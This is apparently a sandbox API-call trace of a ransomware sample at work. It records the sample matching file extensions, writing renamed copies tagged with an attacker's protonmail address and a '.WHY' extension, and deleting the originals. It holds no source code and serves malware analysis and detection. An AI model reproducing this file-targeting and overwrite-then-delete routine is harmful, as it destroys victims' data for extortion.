lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.298] lstrlenW (lpString=".dbf") returned 4 [0066.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.299] lstrlenW (lpString=".1cd") returned 4 [0066.299] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0066.299] lstrlenW (lpString=".jpg") returned 4 [0066.299] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.299] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0066.300] lstrlenW (lpString="Office32WW.xml") returned 14 [0066.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0066.303] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=4274) returned 1 [0066.303] CloseHandle (hObject=0x1e0) returned 1 [0066.303] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0066.303] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0066.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0066.304] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.304] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.305] GetLastError () returned 0x0 [0066.305] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0066.413] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0066.416] ReadFile (in: hFile=0x1e0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.416] WriteFile (in: hFile=0x1f4, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0066.416] SetEndOfFile (hFile=0x1f4) returned 1 [0066.417] CloseHandle (hObject=0x1f4) returned 1 [0066.418] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.418] SetEndOfFile (hFile=0x1e0) returned 1 [0066.421] CloseHandle (hObject=0x1e0) returned 1 [0066.421] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0066.422] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0066.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.422] lstrlenW (lpString=".doc") returned 4 [0066.422] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.422] lstrlenW (lpString=".docx") returned 5 [0066.423] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.423] lstrlenW (lpString=".pdf") returned 4 [0066.423] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.423] lstrlenW (lpString=".xls") returned 4 [0066.423] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.423] lstrlenW (lpString=".xlsx") returned 5 [0066.423] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.423] lstrlenW (lpString=".ppt") returned 4 [0066.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.423] lstrlenW (lpString=".zip") returned 4 [0066.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.423] lstrlenW (lpString=".rar") returned 4 [0066.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.424] lstrlenW (lpString=".bz2") returned 4 [0066.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.424] lstrlenW (lpString=".7z") returned 3 [0066.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.424] lstrlenW (lpString=".dbf") returned 4 [0066.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.424] lstrlenW (lpString=".1cd") returned 4 [0066.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.424] lstrlenW (lpString=".jpg") returned 4 [0066.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.425] lstrlenW (lpString=".doc") returned 4 [0066.425] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.425] lstrlenW (lpString=".docx") returned 5 [0066.425] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.425] lstrlenW (lpString=".pdf") returned 4 [0066.425] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.425] lstrlenW (lpString=".xls") returned 4 [0066.425] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.425] lstrlenW (lpString=".xlsx") returned 5 [0066.426] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.426] lstrlenW (lpString=".ppt") returned 4 [0066.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.426] lstrlenW (lpString=".zip") returned 4 [0066.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.426] lstrlenW (lpString=".rar") returned 4 [0066.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.426] lstrlenW (lpString=".bz2") returned 4 [0066.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.426] lstrlenW (lpString=".7z") returned 3 [0066.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.427] lstrlenW (lpString=".dbf") returned 4 [0066.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.427] lstrlenW (lpString=".1cd") returned 4 [0066.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.427] lstrlenW (lpString=".jpg") returned 4 [0066.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.856] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0066.857] lstrlenW (lpString="Office32WW.xml") returned 14 [0066.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0069.178] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=4274) returned 1 [0069.178] CloseHandle (hObject=0x1a0) returned 1 [0069.178] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0069.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0069.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0069.331] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.332] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.332] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0070.258] GetLastError () returned 0x0 [0070.258] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0070.301] WriteFile (in: hFile=0x140, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0070.304] ReadFile (in: hFile=0x1a0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.304] WriteFile (in: hFile=0x140, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0070.304] SetEndOfFile (hFile=0x140) returned 1 [0070.304] CloseHandle (hObject=0x140) returned 1 [0070.310] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.310] SetEndOfFile (hFile=0x1a0) returned 1 [0070.313] CloseHandle (hObject=0x1a0) returned 1 [0070.313] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0070.314] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0070.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.314] lstrlenW (lpString=".doc") returned 4 [0070.315] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.315] lstrlenW (lpString=".docx") returned 5 [0070.315] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0070.315] lstrlenW (lpString=".pdf") returned 4 [0070.315] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.315] lstrlenW (lpString=".xls") returned 4 [0070.315] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.315] lstrlenW (lpString=".xlsx") returned 5 [0070.315] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0070.315] lstrlenW (lpString=".ppt") returned 4 [0070.315] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.315] lstrlenW (lpString=".zip") returned 4 [0070.315] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.316] lstrlenW (lpString=".rar") returned 4 [0070.316] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.316] lstrlenW (lpString=".bz2") returned 4 [0070.316] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.316] lstrlenW (lpString=".7z") returned 3 [0070.316] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.316] lstrlenW (lpString=".dbf") returned 4 [0070.316] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.316] lstrlenW (lpString=".1cd") returned 4 [0070.316] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.316] lstrlenW (lpString=".jpg") returned 4 [0070.316] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.317] lstrlenW (lpString=".doc") returned 4 [0070.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.317] lstrlenW (lpString=".docx") returned 5 [0070.317] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0070.317] lstrlenW (lpString=".pdf") returned 4 [0070.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.317] lstrlenW (lpString=".xls") returned 4 [0070.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.317] lstrlenW (lpString=".xlsx") returned 5 [0070.317] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0070.317] lstrlenW (lpString=".ppt") returned 4 [0070.318] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.318] lstrlenW (lpString=".zip") returned 4 [0070.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.318] lstrlenW (lpString=".rar") returned 4 [0070.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.318] lstrlenW (lpString=".bz2") returned 4 [0070.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.318] lstrlenW (lpString=".7z") returned 3 [0070.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.318] lstrlenW (lpString=".dbf") returned 4 [0070.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.318] lstrlenW (lpString=".1cd") returned 4 [0070.318] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0070.319] lstrlenW (lpString=".jpg") returned 4 [0070.319] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.319] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0070.319] lstrlenW (lpString="MS.GIF") returned 6 [0070.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.458] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1069) returned 1 [0071.458] CloseHandle (hObject=0x1d0) returned 1 [0071.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0071.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0071.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0071.459] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.459] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.460] GetLastError () returned 0x0 [0071.460] ReadFile (in: hFile=0x1d0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x42d, lpOverlapped=0x0) returned 1 [0071.465] WriteFile (in: hFile=0x1a0, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x430, lpOverlapped=0x0) returned 1 [0071.469] ReadFile (in: hFile=0x1d0, lpBuffer=0x33a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.469] WriteFile (in: hFile=0x1a0, lpBuffer=0x33a0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33a0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0071.469] SetEndOfFile (hFile=0x1a0) returned 1 [0071.469] CloseHandle (hObject=0x1a0) returned 1 [0071.474] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.474] SetEndOfFile (hFile=0x1d0) returned 1 [0071.476] CloseHandle (hObject=0x1d0) returned 1 [0071.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0071.477] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0071.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.478] lstrlenW (lpString=".doc") returned 4 [0071.478] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.478] lstrlenW (lpString=".docx") returned 5 [0071.478] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0071.478] lstrlenW (lpString=".pdf") returned 4 [0071.478] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.478] lstrlenW (lpString=".xls") returned 4 [0071.479] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.479] lstrlenW (lpString=".xlsx") returned 5 [0071.479] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0071.479] lstrlenW (lpString=".ppt") returned 4 [0071.479] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.479] lstrlenW (lpString=".zip") returned 4 [0071.479] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.479] lstrlenW (lpString=".rar") returned 4 [0071.479] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.479] lstrlenW (lpString=".bz2") returned 4 [0071.479] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.479] lstrlenW (lpString=".7z") returned 3 [0071.480] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.480] lstrlenW (lpString=".dbf") returned 4 [0071.480] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.480] lstrlenW (lpString=".1cd") returned 4 [0071.480] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.480] lstrlenW (lpString=".jpg") returned 4 [0071.480] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.481] lstrlenW (lpString=".doc") returned 4 [0071.481] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.481] lstrlenW (lpString=".docx") returned 5 [0071.481] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0071.481] lstrlenW (lpString=".pdf") returned 4 [0071.481] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.481] lstrlenW (lpString=".xls") returned 4 [0071.481] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.481] lstrlenW (lpString=".xlsx") returned 5 [0071.481] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0071.481] lstrlenW (lpString=".ppt") returned 4 [0071.481] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0071.482] lstrlenW (lpString=".zip") returned 4 [0071.482] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.482] lstrlenW (lpString=".rar") returned 4 [0071.482] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.482] lstrlenW (lpString=".bz2") returned 4 [0071.482] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 